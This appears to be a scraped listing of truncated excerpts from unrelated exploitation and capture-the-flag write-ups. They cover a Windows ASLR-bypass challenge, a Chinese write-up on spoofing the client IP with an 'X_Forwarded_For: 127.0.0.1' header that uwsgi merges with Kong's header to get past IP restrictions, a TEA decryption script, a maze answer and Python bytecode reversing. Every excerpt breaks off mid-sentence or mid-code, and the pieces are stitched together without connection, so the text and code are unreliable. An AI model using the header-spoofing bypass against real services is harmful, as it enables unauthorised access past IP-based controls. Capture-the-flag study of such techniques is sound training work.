I've decided to give the 2019 BFS Exploitation Challenge a try. It is a Windows 64 bit executable for which an exploit is expected to work on a Windows 10 Redstone machine.The challenge's goals were set to:Bypass ASLR remotely Achieve arbitrary code execution (pop calc or notepad) Have ...

I initially went for corrupting the library itself, and ended up with a pretty complicated way of overwriting code using a chain of fake structures. While writing this, I've simplified the approach to simply write once by creating a fake page. This is the relevant python code: menu() x....
由于 python wsgi 中不区分请求头中的-和_,所以可以用X_Forwarded_For: 127.0.0.1头来绕过 IP 限制。Kong 转发的时候有两个 XFF 头,而且 X_F_F 在后面 X-Forwarded-For: a.a.a.a X_Forwarded_For: 127.0.0.1 对于uwsgi 来说相当于收到了X-Forwarded-For: a.a.a.a, 127.0.0.1。 这里有一个非...
看到里面有个函数sub_41100A 双击查看发现是tea算法 然后写脚本 #include<stdio.h>#include<string.h>int main(){unsigned int a1=1115126522;unsigned int a2=2014982346;int v[4]={12,34,56,78};int s=-1640531527*32;for(int i=0;i<32;++i){a2-=(v[3]+(a1>>5))^(s+a1)^(v[2]+16*a1...
可以写BFS找,也可以直接手动找,得到顺序sssssdsssddsdddwwdwwaaaw,包上nefuctf{}即可提交Crypto手逆python字节码。源码用python -m dis code.py生成。字节码还原的相关分析参考:https://docs.python.org/zh-cn/3/library/dis.htmlhttps://bbs.pediy.com/thread-262577.htm得到源码:...
